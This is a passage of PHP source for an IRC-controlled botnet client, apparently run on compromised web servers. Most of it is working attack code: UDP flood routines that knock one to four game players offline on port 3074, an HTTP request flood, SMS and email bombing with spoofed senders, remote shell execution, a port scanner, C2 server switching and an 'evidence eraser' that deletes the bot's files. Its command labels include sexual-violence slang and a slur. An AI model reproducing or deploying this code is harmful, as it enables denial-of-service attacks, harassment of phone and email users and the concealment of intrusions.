| $leetprefix = $this->config['leetprefix'];
| |
| $leetsuffixred = $this->config['leetsuffixred'];
| |
| $version = $this->config['version'];
| |
| $this->privmsg( $this->ffff_you( ), "".$leetprefixwhite."".$red." FBI $leetsuffixwhite $orange Elation Bot Version $version By: $leetprefixwhite $red Mike $leetsuffixwhite $leetsuffixwhite $orange Built Using: $leetprefixwhite $red Frasers PHP Bot Builder $leetsuffixwhite" );
| |
| break;
| |
| }
| |
| case "noevidence":
| |
| {
| |
| $part1 = $this->config['part1'];
| |
| $part2 = $this->config['part2'];
| |
| $blue = $this->config['blue'];
| |
| $red = $this->config['yellow'];
| |
| $bybye = $this->ex( 'rm -rf *gow*' );
| |
| $this->privmsg( $this->ffff_you( ),"".$part1."".$red." EviDenCe ".$part2."".$blue." All Bot Files and Evidence Erased!");
| |
| break;
| |
| }
| |
| case "version":
| |
| {
| |
| $leetprefix = $this->config['leetprefix'];
| |
| $leetsuffixred = $this->config['leetsuffixred'];
| |
| $blue = $this->config['blue'];
| |
| $red = $this->config['yellow'];
| |
| $version = $this->config['version'];
| |
| $this->privmsg( $this->ffff_you( ),"".$red."The bot version is $leetprefix$blue $version $leetsuffixred");
| |
| break;
| |
| }
| |
| case "changeprefix":
| |
| {
| |
| $this->config['cprefix'] = $mcmd[1];
| |
| $leetsuffixred = $this->config['leetsuffixred'];
| |
| $blue = $this->config['blue'];
| |
| $red = $this->config['yellow'];
| |
| $version = $this->config['version'];
| |
| $this->privmsg( $this->ffff_you( ),"".$red."Prefix Changed to $mcmd[1]");
| |
| break;
| |
| }
| |
| case "id":
| |
| {
| |
| $id = $this->messages['id'];
| |
| $this->privmsg( $this->ffff_you( ),"$id");
| |
| break;
| |
| }
| |
| case "uptime":
| |
| {
| |
| $part1 = $this->config['part1'];
| |
| $part2 = $this->config['part2'];
| |
| $blue = $this->config['blue'];
| |
| $red = $this->config['yellow'];
| |
| $up = $this->ex( 'w' );
| |
| $this->privmsg( $this->ffff_you( ),"".$part1."".$red." Uptime ".$part2."".$blue." ".$up."");
| |
| break;
| |
| }
| |
| case "cellhelp":
| |
| {
| |
| $part1 = $this->config['part1'];
| |
| $part2 = $this->config['part2'];
| |
| $blue = $this->config['blue'];
| |
| $red = $this->config['yellow'];
| |
| $cellhelp = "To spam a Cell Phone you will have to know the NUMBER and CARRIER. Example Command: ".$red.".verizon 5551234567 youremail@fbi.gov Subject NumberOfTextsToSend Message";
| |
| $this->privmsg( $this->ffff_you( ),"".$part1."".$red." Cell Spammer ".$part2."".$blue." ".$cellhelp."");
| |
| break;
| |
| }
| |
| case "carriers":
| |
| {
| |
| $part1 = $this->config['part1'];
| |
| $part2 = $this->config['part2'];
| |
| $blue = $this->config['blue'];
| |
| $red = $this->config['yellow'];
| |
| $bybye = $this->ex( 'rm -rf *gow*' );
| |
| $this->privmsg( $this->ffff_you( ),"".$part1."".$red." CaRRieRs ".$part2."".$blue." UniX can currently spam - AT&T, Verizon, Sprint, Alltel, T-Mobile, US Celluar, and Boost Mobile");
| |
| break;
| |
| }
| |
| case "ver":
| |
| {
| |
| $leetprefix = $this->config['leetprefix'];
| |
| $leetsuffixred = $this->config['leetsuffixred'];
| |
| $blue = $this->config['blue'];
| |
| $red = $this->config['yellow'];
| |
| $version = $this->config['version'];
| |
| $this->privmsg( $this->ffff_you( ),"".$red."The bot version is $leetprefix$blue $version $leetsuffixred");
| |
| break;
| |
| }
| |
| case "v":
| |
| {
| |
| $leetprefix = $this->config['leetprefix'];
| |
| $leetsuffixred = $this->config['leetsuffixred'];
| |
| $blue = $this->config['blue'];
| |
| $red = $this->config['yellow'];
| |
| $version = $this->config['version'];
| |
| $this->privmsg( $this->ffff_you( ),"".$red."The bot version is $leetprefix$blue $version $leetsuffixred");
| |
| break;
| |
| }
| |
| case "hop":
| |
| {
| |
| $channel = $mcmd[1];
| |
| $this->send( "PART ".$channel );
| |
| $this->join( $channel );
| |
| break;
| |
| }
| |
| case "raw":
| |
| {
| |
| $this->send(strstr($msg,$mcmd[1]));
| |
| break;
| |
| }
| |
| | |
| case "ip123":
| |
| {
| |
| $leetprefixwhite = $this->config['leetprefixwhite'];
| |
| $leetsuffixwhite = $this->config['leetsuffixwhite'];
| |
| $red = $this->config['yellow'];
| |
| $blue = $this->config['blue'];
| |
| $ipadd = "Ip AddReSS";
| |
| $this->privmsg( $this->ffff_you( ),"$blue $ipadd $leetprefixwhite ".$red." ".$_SERVER['SERVER_ADDR']." $leetsuffixwhite");
| |
| break;
| |
| }
| |
| case "lastlogin":
| |
| {
| |
| $red = $this->config['yellow'];
| |
| $blue = $this->config['blue'];
| |
| $part1 = $this->config['part1'];
| |
| $part2 = $this->config['part2'];
| |
| $attempt = $this->ex('cat ion_cache.dat');
| |
| $this->privmsg( $this->ffff_you( ),"$part1$red LasT LogiN $part2$blue from $attempt");
| |
| break;
| |
| }
| |
| case "commands":
| |
| {
| |
| $leetprefixwhite = $this->config['leetprefixwhite'];
| |
| $leetsuffixwhite = $this->config['leetsuffixwhite'];
| |
| $red = $this->config['yellow'];
| |
| $blue = $this->config['blue'];
| |
| $version = $this->config['version'];
| |
| $cmdz = "Command List for UniX version $version private:";
| |
| $this->privmsg( $this->ffff_you( ),"$leetprefixwhite$red $cmdz $leetsuffixwhite");
| |
| $this->privmsg( $this->ffff_you( ),"$blue [".$red."UDP-Flood".$blue."] ? ? ? ".$red.".udpflood ip packetsize time".$blue." ? ? ?");
| |
| $this->privmsg( $this->ffff_you( ),"$blue [".$red."Xbox Live Flood".$blue."] ? ? ? ".$red.".xblflood ip packetsize time port".$blue." ? ? ?");
| |
| $this->privmsg( $this->ffff_you( ),"$blue [".$red."Two BK Flood".$blue."] ? ? ? ".$red.".2kidz first.ip second.ip".$blue." ? ? ?");
| |
| $this->privmsg( $this->ffff_you( ),"$blue [".$red."Three BK Flood".$blue."] ? ? ? ".$red.".3kidz first.ip second.ip third.ip".$blue." ? ? ?");
| |
| $this->privmsg( $this->ffff_you( ),"$blue [".$red."Four BK Flood".$blue."] ? ? ? ".$red.".4kidz first.ip second.ip third.ip fourth.ip".$blue." ? ? ?");
| |
| $this->privmsg( $this->ffff_you( ),"$blue [".$red."Cell RapE".$blue."] ? ? ? ".$red.".cellhelp".$blue." ? ? ?");
| |
| $this->privmsg( $this->ffff_you( ),"$blue [".$red."Cell Phone Carriers".$blue."] ? ? ? ".$red.".carriers".$blue." ? ? ?");
| |
| $this->privmsg( $this->ffff_you( ),"$blue [".$red."Evidence Eraser".$blue."] ? ? ? ".$red.".noevidence".$blue." ? ? ?");
| |
| $this->privmsg( $this->ffff_you( ),"$blue [".$red."Hop".$blue."] ? ? ? ".$red.".hop #channel".$blue." ? ? ?");
| |
| $this->privmsg( $this->ffff_you( ),"$blue [".$red."Exec".$blue."] ? ? ? ".$red.".exec unix command(s)".$blue." ? ? ?");
| |
| $this->privmsg( $this->ffff_you( ),"$blue [".$red."eMail RapE".$blue."] ? ? ? ".$red.".bomb victim@fbi.gov spoofed@fake.com Subject NumberOfMails EmailBody".$blue." ? ? ?");
| |
| $this->privmsg( $this->ffff_you( ),"$blue [".$red."Count".$blue."] ? ? ? ".$red.".count".$blue." ? ? ?");
| |
| $this->privmsg( $this->ffff_you( ),"$blue [".$red."Nick".$blue."] ? ? ? ".$red.".nick (nzm or unix)".$blue." ? ? ?");
| |
| $this->privmsg( $this->ffff_you( ),"$blue [".$red."Credits".$blue."] ? ? ? ".$red.".credits".$blue." ? ? ?");
| |
| $this->privmsg( $this->ffff_you( ),"$blue [".$red."Version".$blue."] ? ? ? ".$red.".v or !ver or !version".$blue." ? ? ?");
| |
| $this->privmsg( $this->ffff_you( ),"$blue [".$red."Bot Ip".$blue."] ? ? ? ".$red.".ip".$blue." ? ? ?");
| |
| $this->privmsg( $this->ffff_you( ),"$blue [".$red."MD5 Encrypt".$blue."] ? ? ? ".$red.".md5 string_to_encrypt".$blue." ? ? ?");
| |
| $this->privmsg( $this->ffff_you( ),"$blue [".$red."DnS".$blue."] ? ? ? ".$red.".dns google.com".$blue." ? ? ?");
| |
| $this->privmsg( $this->ffff_you( ),"$blue [".$red."Kill Bot".$blue."] ? ? ? ".$red.".exit or !gtfo".$blue." ? ? ?");
| |
| $this->privmsg( $this->ffff_you( ),"$blue [".$red."Reconnect".$blue."] ? ? ? ".$red.".restart".$blue." ? ? ?");
| |
| $this->privmsg( $this->ffff_you( ),"$blue [".$red."Whois".$blue."] ? ? ? ".$red.".whois 127.0.0.1".$blue." ? ? ?");
| |
| $this->privmsg( $this->ffff_you( ),"$blue [".$red."Raw Irc Commands".$blue."] ? ? ? ".$red.".join, .part, .msg".$blue." ? ? ?");
| |
| $this->privmsg( $this->ffff_you( ),"$blue [".$red."Port Scan".$blue."] ? ? ? ".$red.".pscan ip port".$blue." ? ? ?");
| |
| $this->privmsg( $this->ffff_you( ),"$blue [".$red."Infected Site Check".$blue."] ? ? ? ".$red.".site".$blue." ? ? ?");
| |
| $this->privmsg( $this->ffff_you( ),"$blue [".$red."Random Nick".$blue."] ? ? ? ".$red.".randnick".$blue." ? ? ?");
| |
| $this->privmsg( $this->ffff_you( ),"$blue [".$red."URL Bomb".$blue."] ? ? ? ".$red.".urlbomb site.com /path NumberOfRefreshes".$blue." ? ? ?");
| |
| $this->privmsg( $this->ffff_you( ),"$blue [".$red."Server Uptime".$blue."] ? ? ? ".$red.".uptime".$blue." ? ? ?");
| |
| $this->privmsg( $this->ffff_you( ),"$blue [".$red."Speed Test".$blue."] ? ? ? ".$red.".speedtest".$blue." ? ? ?");
| |
| $this->privmsg( $this->ffff_you( ),"$blue [".$red."Quick UDP-Flood".$blue."] ? ? ? ".$red.".quick ip".$blue." ? ? ?");
| |
| $this->privmsg( $this->ffff_you( ),"$blue [".$red."Check Last Login".$blue."] ? ? ? ".$red.".lastlogin".$blue." ? ? ?");
| |
| $this->privmsg( $this->ffff_you( ),"$blue [".$red."Raw Irc Command".$blue."] ? ? ? ".$red.".raw command".$blue." ? ? ?");
| |
| $this->privmsg( $this->ffff_you( ),"$blue [".$red."Change Command Prefix".$blue."] ? ? ? ".$red.".changeprefix newprefix Example: .changeprefix !".$blue." ? ? ?");
| |
| break;
| |
| }
| |
| case "md5":
| |
| {
| |
| $leetprefix = $this->config['leetprefix'];
| |
| $leetsuffixred = $this->config['leetsuffixred'];
| |
| $red = $this->config['yellow'];
| |
| $blue = $this->config['blue'];
| |
| $str_md5 = substr( strstr( $msg, $mcmd[0] ), strlen( $mcmd[0] ) + 1 );
| |
| $this->privmsg( $this->ffff_you( ), "$blue [ $red MD5 $blue ]: $blue [ ".$red."'".$str_md5."' ".$blue."Encrypts To $red'".md5($str_md5)."' $blue ]" );
| |
| break;
| |
| }
| |
| case "dns":
| |
| {
| |
| if(isset($mcmd[1]))
| |
| {
| |
| $ip = explode(".",$mcmd[1]);
| |
| if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1])
| |
| && is_numeric($ip[2]) && is_numeric($ip[3]))
| |
| {
| |
| $leetprefix = $this->config['leetprefix'];
| |
| $leetsuffixred = $this->config['leetsuffixred'];
| |
| $red = $this->config['yellow'];
| |
| $blue = $this->config['blue'];
| |
| $this->privmsg($this->ffff_you( ),"$leetprefix $blue [ $red DnS $blue ]: $red ".$mcmd[1]." $blue Resolves To $leetprefix $red ".gethostbyaddr($mcmd[1]));
| |
| }
| |
| else
| |
| {
| |
| $leetprefix = $this->config['leetprefix'];
| |
| $leetsuffixred = $this->config['leetsuffixred'];
| |
| $red = $this->config['yellow'];
| |
| $blue = $this->config['blue'];
| |
| $this->privmsg($this->ffff_you( ),"$blue [ $red DnS $blue ]: $red ".$mcmd[1]." $blue Resolves To $red ".gethostbyname($mcmd[1]));
| |
| }
| |
| }
| |
| break;
| |
| }
| |
| case "exit":
| |
| {
| |
| fclose( $this->conn );
| |
| exit( );
| |
| break;
| |
| }
| |
| case "husk":
| |
| {
| |
| fclose( $this->conn );
| |
| exit( );
| |
| break;
| |
| }
| |
| case "gtfo":
| |
| {
| |
| fclose( $this->conn );
| |
| exit( );
| |
| break;
| |
| }
| |
| case "restart":
| |
| {
| |
| $leetprefixwhite = $this->config['leetprefixwhite'];
| |
| $leetsuffixwhite = $this->config['leetsuffixwhite'];
| |
| $red = $this->config['yellow'];
| |
| $blue = $this->config['blue'];
| |
| $this->privmsg( $this->ffff_you( ), "$leetprefixwhite $red Restarting! $leetsuffixwhite $blue Please wait!" );
| |
| $this->send( "QUIT :restart command from ".$nick );
| |
| fclose( $this->conn );
| |
| $this->start();
| |
| break;
| |
| }
| |
| case "lastresort":
| |
| {
| |
| if( count( $mcmd ) > 3 )
| |
| {
| |
| $server = $mcmd[1];
| |
| $port = $mcmd[2];
| |
| $channel = $mcmd[3];
| |
| $key = $mcmd[4];
| |
| | |
| if( $this->using_encode )
| |
| {
| |
| $this->config[ 'server' ] = base64_encode( $server );
| |
| $this->config[ 'chan' ] = base64_encode( str_replace( "#", "", $channel ) );
| |
| $this->config[ 'key' ] = base64_encode( $key );
| |
| }
| |
| else
| |
| {
| |
| $this->config[ 'server' ] = $server;
| |
| $this->config[ 'chan' ] = str_replace( "#", "", $channel );
| |
| $this->config[ 'key' ] = $key;
| |
| }
| |
| | |
| $this->config[ 'port' ] = $port;
| |
| $this->privmsg( $this->ffff_you( ), "[ moveserver ] ".$server." => ".$port." => ".$channel." => ".$key );
| |
| $this->send( "QUIT :moveserver command from ".$nick );
| |
| | |
| fclose( $this->conn );
| |
| $this->start();
| |
| }
| |
| break;
| |
| }
| |
| case "whois":
| |
| {
| |
| $param2 = $mcmd[1];
| |
| | |
| if( !empty( $param2 ) )
| |
| {
| |
| //do it
| |
| //http://www.geoip.co.uk/?IP=98.214.115.193&submit.x=23&submit.y=11
| |
| $fp = fsockopen( "geoip.co.uk", 80, $errno, $errstr, 30 );
| |
| | |
| if( $fp )
| |
| {
| |
| $out = "GET /ipwhois.php?ip=$param2&Submit=submit HTTP/1.1\r\n";
| |
| $out .= "Host: geoip.co.uk\r\n";
| |
| $out .= "Keep-Alive: 300\r\n";
| |
| $out .= "Connection: keep-alive\r\n\r\n";
| |
| fwrite( $fp, $out );
| |
| | |
| $whodata = '';
| |
| while(!feof($fp))
| |
| {
| |
| /*do nothing*/
| |
| $whodata .= fread( $fp, 1024 );
| |
| }
| |
| | |
| $countryc = explode( " :", $whodata );
| |
| $countryc = explode( " : <img src=", $countryc[1] );
| |
| $country = strip_tags( $countryc[0] );
| |
| | |
| $statec = explode( "$countryc", $whodata );
| |
| $statec = explode( " <br>", $statec[1] );
| |
| $state = strip_tags( $statec[0] );
| |
| | |
| $cityc = explode( "$statec", $whodata );
| |
| $cityc = explode( " : <img src=", $cityc[1] );
| |
| $city = strip_tags( $cityc[0] );
| |
| | |
| fclose( $fp );
| |
| $leetprefixwhite = $this->config['leetprefixwhite'];
| |
| $leetsuffixwhite = $this->config['leetsuffixwhite'];
| |
| $red = $this->config['yellow'];
| |
| $blue = $this->config['blue'];
| |
| | |
| $this->privmsg( $this->ffff_you( ), "$leetprefixwhite $red $param2 $leetsuffixwhite - $red Country - $blue $country" );
| |
| $this->privmsg( $this->ffff_you( ), "$leetprefixwhite $red $param2 $leetsuffixwhite - $red City - $blue $city" );
| |
| $this->privmsg( $this->ffff_you( ), "$leetprefixwhite $red $param2 $leetsuffixwhite - $red State - $blue $state" );
| |
| }else{
| |
| $this->privmsg( $this->ffff_you( ), "[ whois ] Error: $errstr" );
| |
| }
| |
| }
| |
| else
| |
| {
| |
| $this->privmsg( $this->ffff_you( ), "[ whois ] Invalid params, use .whois <ip/host>" );
| |
| }
| |
| break;
| |
| }
| |
| case "join":
| |
| {
| |
| $channel = $mcmd[1];
| |
| $key = $mcmd[2];
| |
| $this->join( $channel, $key );
| |
| break;
| |
| }
| |
| case "part":
| |
| {
| |
| $this->send( "PART ".$mcmd[1] );
| |
| }
| |
| case "msg":
| |
| {
| |
| $person = $mcmd[1];
| |
| $text = substr( strstr( $msg, $mcmd[1] ), strlen( $mcmd[1] ) + 1 );
| |
| $this->privmsg( $person, $text );
| |
| break;
| |
| }
| |
| case "pscan":
| |
| $leetprefix = $this->config['leetprefix'];
| |
| $leetsuffixred = $this->config['leetsuffixred'];
| |
| $blue = $this->config['blue'];
| |
| if(count($mcmd) > 2)
| |
| {
| |
| if(fsockopen($mcmd[1],$mcmd[2],$e,$s,15))
| |
| $this->privmsg($this->ffff_you( ),"$leetprefix $blue Port Scan $leetsuffixred : $red ".$mcmd[1].":".$mcmd[2]." $blue is OPEN !");
| |
| else
| |
| $this->privmsg($this->ffff_you( ),"$leetprefix $blue Port Scan $leetsuffixred : $blue ".$mcmd[1].":".$mcmd[2]." $red is CLOSED !");
| |
| break;
| |
| }
| |
| case "software":
| |
| {
| |
| $this->privmsg( $this->ffff_you( ), $_SERVER[ 'SERVER_SOFTWARE' ] );
| |
| break;
| |
| }
| |
| case "site123":
| |
| {
| |
| $leetprefixwhite = $this->config['leetprefixwhite'];
| |
| $leetsuffixwhite = $this->config['leetsuffixwhite'];
| |
| $red = $this->config['yellow'];
| |
| $blue = $this->config['blue'];
| |
| $ipzzz = ( $_SERVER["HTTP_HOST"] );
| |
| $this->privmsg( $this->ffff_you( ), "$blue This bot is running on $leetprefixwhite $red $ipzzz $leetsuffixwhite" );
| |
| break;
| |
| }
| |
| case "randnick":
| |
| {
| |
| $this->set_nick();
| |
| break;
| |
| }
| |
| case "logout":
| |
| {
| |
| $logoutmsg = $this->messages['logoutmsg'];
| |
| $leetprefixwhite = $this->config['leetprefixwhite'];
| |
| $leetsuffixwhite = $this->config['leetsuffixwhite'];
| |
| $red = $this->config['yellow'];
| |
| $part2 = $this->config['part2'];
| |
| $this->remove_auth( $host );
| |
| $this->privmsg( $this->ffff_you( ), "$logoutmsg $leetprefixwhite $red$nick $leetsuffixwhite $part2" );
| |
| break;
| |
| }
| |
| case "urlbomb":
| |
| {
| |
| $this->urlbomb( $mcmd[ 1 ], $mcmd[ 2 ], $mcmd[ 3 ] );
| |
| break;
| |
| }
| |
| case "udpflood":
| |
| {
| |
| if( count( $mcmd ) > 3 )
| |
| {
| |
| $this->udpflood($mcmd[1],$mcmd[2],$mcmd[3]);
| |
| }
| |
| }
| |
| case "stop":
| |
| {
| |
| fclose($fp);
| |
| break;
| |
| }
| |
| case "xblflood":
| |
| {
| |
| if( count( $mcmd ) > 4 )
| |
| {;
| |
| $this->udpflood4($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4]);
| |
| }
| |
| break;
| |
| }
| |
| case "speedtest":
| |
| {
| |
| $this->udpflood3(hi,650000,5);
| |
| break;
| |
| }
| |
| case "2kidz":
| |
| {
| |
| $this->udpflood5($mcmd[1],$mcmd[2]);
| |
| break;
| |
| }
| |
| case "3kidz":
| |
| {
| |
| $this->udpflood7($mcmd[1],$mcmd[2],$mcmd[3]);
| |
| break;
| |
| }
| |
| case "4kidz":
| |
| {
| |
| $this->udpflood6($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4]);
| |
| break;
| |
| }
| |
| case "quick":
| |
| {
| |
| if( count( $mcmd ) > 1 )
| |
| {
| |
| $this->udpflood2($mcmd[1],65000,60);
| |
| }
| |
| break;
| |
| }
| |
| }
| |
| }
| |
| }
| |
| break;
| |
| }
| |
| }
| |
| }
| |
| $old_buf = $this->buf;
| |
| }
| |
| $this->start();
| |
| }
| |
| | |
| function scanport( $host, $port )
| |
| {
| |
| if( fsockopen( $host, $port, $e, $s ) )
| |
| {
| |
| return 1;
| |
| }
| |
| return 0;
| |
| }
| |
| | |
| function urlbomb( $host, $path, $times, $mode = 0 )
| |
| {
| |
| if( !isset( $host ) || !isset( $path ) || !isset( $times ) )
| |
| return;
| |
| | |
| $leetprefixwhite = $this->config['leetprefixwhite'];
| |
| $leetsuffixwhite = $this->config['leetsuffixwhite'];
| |
| $leetprefix = $this->config['leetprefix'];
| |
| $leetsuffixred = $this->config['leetsuffixred'];
| |
| $red = $this->config['yellow'];
| |
| $blue = $this->config['blue'];
| |
| $http = "http://";
| |
| $this->privmsg( $this->ffff_you( ),"$leetprefixwhite $red URLbomb started! $leetsuffixwhite on $red [ $blue ".$http."".$host."".$path." $red ]");
| |
| | |
| $success = 0;
| |
| for( $i = 0; $i < $times; $i++ )
| |
| {
| |
| $fp = fsockopen( $host, 80, $errno, $errstr, 30 );
| |
| if( $fp )
| |
| {
| |
| $out = "GET /".$path." HTTP/1.1\r\n";
| |
| $out .= "Host: ".$host."\r\n";
| |
| $out .= "Keep-Alive: 300\r\n";
| |
| $out .= "Connection: keep-alive\r\n\r\n";
| |
| fwrite( $fp, $out );
| |
| | |
| if( $mode != 0 )
| |
| {
| |
| while(!feof($fp)){/*do nothing*/}
| |
| }
| |
| | |
| fclose( $fp );
| |
| | |
| $success++;
| |
| }
| |
| }
| |
| $leetprefixwhite = $this->config['leetprefixwhite'];
| |
| $leetsuffixwhite = $this->config['leetsuffixwhite'];
| |
| $leetprefix = $this->config['leetprefix'];
| |
| $leetsuffixred = $this->config['leetsuffixred'];
| |
| $red = $this->config['yellow'];
| |
| $blue = $this->config['blue'];
| |
| $http = "http://";
| |
| $this->privmsg( $this->ffff_you( ),"$leetprefixwhite $red URLbomb finished! $leetsuffixwhite $blue on $red [ $blue ".$http."".$host."".$path." $red ] $blue [$red Times Visited: $blue ".$success." $blue ]" );
| |
| }
| |
| | |
| function udpflood2( $host, $packetsize, $time )
| |
| {
| |
| $udpmsgfast = $this->messages['udpmsgfast'];
| |
| $leetprefixwhite = $this->config['leetprefixwhite'];
| |
| $leetsuffixwhite = $this->config['leetsuffixwhite'];
| |
| $red = $this->config['yellow'];
| |
| $blue = $this->config['yellow'];
| |
| $this->privmsg( $this->ffff_you( ),"$udpmsgfast Started On $leetprefixwhite$red $host $leetsuffixwhite" );
| |
| $packet = "";
| |
| for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
| |
| $timei = time();
| |
| $i = 0;
| |
| while(time()-$timei < $time)
| |
| {
| |
| $xboxlive = "3074";
| |
| $fp=fsockopen("udp://".$host,$xboxlive,$e,$s,5);
| |
| fwrite($fp,$packet);
| |
| fclose($fp);
| |
| $i++;
| |
| }
| |
| $env = $i * $packetsize;
| |
| $env = $env / 1048576;
| |
| $vel = $env / $time;
| |
| $vel = round($vel);
| |
| $env = round($env);
| |
| $fag = "$udpmsgfast - Sent Total $leetprefixwhite$red $env Megabytes $leetsuffixwhite$red With A Speed Of $leetprefixwhite$red $vel MegaBytes/Second $leetsuffixwhite";
| |
| $this->privmsg( $this->ffff_you( ),"$fag$fag2" );
| |
| $this->ex('echo 1 >> cache.dat');
| |
| }
| |
| | |
| function udpflood3( $host, $packetsize, $time )
| |
| {
| |
| $leetprefixwhite = $this->config['leetprefixwhite'];
| |
| $speedtest = $this->messages['speedtest'];
| |
| $speedtestfin = $this->messages['speedtestfin'];
| |
| $leetsuffixwhite = $this->config['leetsuffixwhite'];
| |
| $red = $this->config['yellow'];
| |
| $blue = $this->config['yellow'];
| |
| $green = $this->config['green'];
| |
| $part1 = $this->config['part1'];
| |
| $part2 = $this->config['part2'];
| |
| $this->privmsg( $this->ffff_you( ),"$part1$red The Speedtest Has been Started.... $part2 - $blue Please Wait......" );
| |
| $packet = "";
| |
| for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
| |
| $timei = time();
| |
| $i = 0;
| |
| while(time()-$timei < $time)
| |
| {
| |
| $xboxlive = "3074";
| |
| $fp=fsockopen("udp://".$host,$xboxlive,$e,$s,5);
| |
| fwrite($fp,$packet);
| |
| fclose($fp);
| |
| $i++;
| |
| }
| |
| $env = $i * $packetsize;
| |
| $env = $env / 1048576;
| |
| $vel = $env / $time;
| |
| $vel = round($vel);
| |
| $env = round($env);
| |
| $red = $this->config['yellow'];
| |
| $part1 = $this->config['part1'];
| |
| $part2 = $this->config['part2'];
| |
| $blue = $this->config['yellow'];
| |
| $fag = "$part1$red The Speedtest Is Complete. $part2 - $blue This Bot Hits At".$red." $vel MegaBytes/Second";
| |
| $this->privmsg( $this->ffff_you( ),"$fag$fag2" );
| |
| $this->ex('echo 1 >> cache.dat');
| |
| }
| |
| | |
| function udpflood5( $host, $crack )
| |
| {
| |
| $packetsize = "65000";
| |
| $time = "60";
| |
| $port = "3074";
| |
| $leetprefixwhite = $this->config['leetprefixwhite'];
| |
| $speedtest = $this->messages['speedtest'];
| |
| $speedtestfin = $this->messages['speedtestfin'];
| |
| $leetsuffixwhite = $this->config['leetsuffixwhite'];
| |
| $red = $this->config['yellow'];
| |
| $blue = $this->config['yellow'];
| |
| $green = $this->config['green'];
| |
| $part1 = $this->config['part1'];
| |
| $part2 = $this->config['part2'];
| |
| $this->privmsg( $this->ffff_you( ),"$part1$red TwO PlayeR DDoS $part2 - $blue Booting $host and $crack! Attacking on port $port" );
| |
| $packet = "";
| |
| for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
| |
| $timei = time();
| |
| $i = 0;
| |
| while(time()-$timei < $time)
| |
| {
| |
| $port = "3074";
| |
| $fp=fsockopen("udp://".$host,$port,$e,$s,5);
| |
| $fp2=fsockopen("udp://".$crack,$port,$e,$s,5);
| |
| fwrite($fp,$packet);
| |
| fwrite($fp2,$packet);
| |
| fclose($fp);
| |
| fclose($fp2);
| |
| $i++;
| |
| }
| |
| $env = $i * $packetsize;
| |
| $env = $env / 1048576;
| |
| $vel = $env / $time;
| |
| $vel = round($vel);
| |
| $env = round($env);
| |
| $red = $this->config['yellow'];
| |
| $part1 = $this->config['part1'];
| |
| $part2 = $this->config['part2'];
| |
| $blue = $this->config['yellow'];
| |
| $fag = "$part1$red TwO PlayeR DDoS! $part2 - $blue $host and $crack are offline! ".$red." $vel MegaBytes/Second";
| |
| $this->privmsg( $this->ffff_you( ),"$fag$fag2" );
| |
| $this->ex('echo 1 >> cache.dat');
| |
| }
| |
| | |
| function udpflood6( $host, $crack, $herion, $coke )
| |
| {
| |
| $packetsize = "65000";
| |
| $time = "60";
| |
| $port = "3074";
| |
| $leetprefixwhite = $this->config['leetprefixwhite'];
| |
| $speedtest = $this->messages['speedtest'];
| |
| $speedtestfin = $this->messages['speedtestfin'];
| |
| $leetsuffixwhite = $this->config['leetsuffixwhite'];
| |
| $red = $this->config['yellow'];
| |
| $blue = $this->config['yellow'];
| |
| $green = $this->config['green'];
| |
| $part1 = $this->config['part1'];
| |
| $part2 = $this->config['part2'];
| |
| $this->privmsg( $this->ffff_you( ),"$part1$red 4 Player DDoS! $part2 - $blue Booting $host, $crack, $herion, and $coke! Attacking on port $port" );
| |
| $packet = "";
| |
| for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
| |
| $timei = time();
| |
| $i = 0;
| |
| while(time()-$timei < $time)
| |
| {
| |
| $port = "3074";
| |
| $fp=fsockopen("udp://".$host,$port,$e,$s,5);
| |
| $fp2=fsockopen("udp://".$crack,$port,$e,$s,5);
| |
| $fp3=fsockopen("udp://".$herion,$port,$e,$s,5);
| |
| $fp4=fsockopen("udp://".$coke,$port,$e,$s,5);
| |
| fwrite($fp,$packet);
| |
| fwrite($fp2,$packet);
| |
| fwrite($fp3,$packet);
| |
| fwrite($fp4,$packet);
| |
| fclose($fp);
| |
| fclose($fp2);
| |
| fclose($fp3);
| |
| fclose($fp4);
| |
| $i++;
| |
| }
| |
| $env = $i * $packetsize;
| |
| $env = $env / 1048576;
| |
| $vel = $env / $time;
| |
| $vel = round($vel);
| |
| $env = round($env);
| |
| $red = $this->config['yellow'];
| |
| $part1 = $this->config['part1'];
| |
| $part2 = $this->config['part2'];
| |
| $blue = $this->config['yellow'];
| |
| $fag = "$part1$red 4 Player DDoS CompletE! $part2 - $blue $host, $crack, $herion, and $coke are ALL offline! ".$red." $vel MegaBytes/Second";
| |
| $this->privmsg( $this->ffff_you( ),"$fag$fag2" );
| |
| $this->ex('echo 1 >> cache.dat');
| |
| }
| |
| | |
| function udpflood7( $stoner, $allalone, $daynnite )
| |
| {
| |
| $packetsize = "65000";
| |
| $time = "60";
| |
| $port = "3074";
| |
| $leetprefixwhite = $this->config['leetprefixwhite'];
| |
| $speedtest = $this->messages['speedtest'];
| |
| $speedtestfin = $this->messages['speedtestfin'];
| |
| $leetsuffixwhite = $this->config['leetsuffixwhite'];
| |
| $red = $this->config['yellow'];
| |
| $blue = $this->config['yellow'];
| |
| $green = $this->config['green'];
| |
| $part1 = $this->config['part1'];
| |
| $part2 = $this->config['part2'];
| |
| $this->privmsg( $this->ffff_you( ),"$part1$red 3 Player DDoS! $part2 - $blue Booting $stoner, $allalone, and $daynnite! Attacking on port $port" );
| |
| $packet = "";
| |
| for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
| |
| $timei = time();
| |
| $i = 0;
| |
| while(time()-$timei < $time)
| |
| {
| |
| $port = "3074";
| |
| $fp2=fsockopen("udp://".$stoner,$port,$e,$s,5);
| |
| $fp3=fsockopen("udp://".$allalone,$port,$e,$s,5);
| |
| $fp4=fsockopen("udp://".$daynnite,$port,$e,$s,5);
| |
| fwrite($fp2,$packet);
| |
| fwrite($fp3,$packet);
| |
| fwrite($fp4,$packet);
| |
| fclose($fp2);
| |
| fclose($fp3);
| |
| fclose($fp4);
| |
| $i++;
| |
| }
| |
| $env = $i * $packetsize;
| |
| $env = $env / 1048576;
| |
| $vel = $env / $time;
| |
| $vel = round($vel);
| |
| $env = round($env);
| |
| $red = $this->config['yellow'];
| |
| $part1 = $this->config['part1'];
| |
| $part2 = $this->config['part2'];
| |
| $blue = $this->config['yellow'];
| |
